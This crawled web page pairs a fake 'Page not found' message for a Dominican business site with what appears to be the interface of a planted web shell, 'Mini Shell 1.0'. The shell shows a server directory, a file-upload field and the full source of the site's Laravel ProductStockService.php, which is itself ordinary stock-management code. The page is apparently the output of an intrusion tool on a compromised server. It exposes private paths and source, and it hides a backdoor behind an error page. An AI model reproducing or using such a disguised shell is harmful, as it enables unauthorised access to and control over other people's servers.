HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Services/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Services/ProductStockService.php
<?php

namespace App\Services;

use AizPackages\CombinationGenerate\Services\CombinationService;
use App\Models\ProductStock;
use App\Utility\ProductUtility;

class ProductStockService {
    public function store(array $data, $product) {
        $collection = collect($data);
        $options = ProductUtility::get_attribute_options($collection);
        // Generates the combinations of customer choice options
        $combinations = (new CombinationService())->generate_combination($options);
        $variant = '';
        if (count($combinations) > 0) {
            $product->variant_product = 1;
            $product->save();
            foreach ($combinations as $key => $combination) {
                $str = ProductUtility::get_combination_string($combination, $collection);
                $product_stock = new ProductStock();
                $product_stock->product_id = $product->id;
                $product_stock->variant = $str;
                $product_stock->price = $product->unit_price;
                $product_stock->sku = $data['sku'];
                $product_stock->qty = $product->current_stock;
                $product_stock->image = request()['img_' . str_replace('.', '_', $str)];
                $product_stock->save();
            }
        } else {
            unset($collection['colors_active'], $collection['colors'], $collection['choice_no']);
            $qty = $collection['current_stock'];
            $price = $collection['unit_price'];
            unset($collection['current_stock']);
            $data = $collection->merge(compact('variant', 'qty', 'price'))->toArray();
            ProductStock::create($data);
        }
    }

    public function product_duplicate_store($product_stocks, $product_new) {
        foreach ($product_stocks as $key => $stock) {
            $product_stock = new ProductStock;
            $product_stock->product_id = $product_new->id;
            $product_stock->variant = $stock->variant;
            $product_stock->price = $stock->price;
            $product_stock->sku = $stock->sku;
            $product_stock->qty = $stock->qty;
            $product_stock->save();
        }
    }
}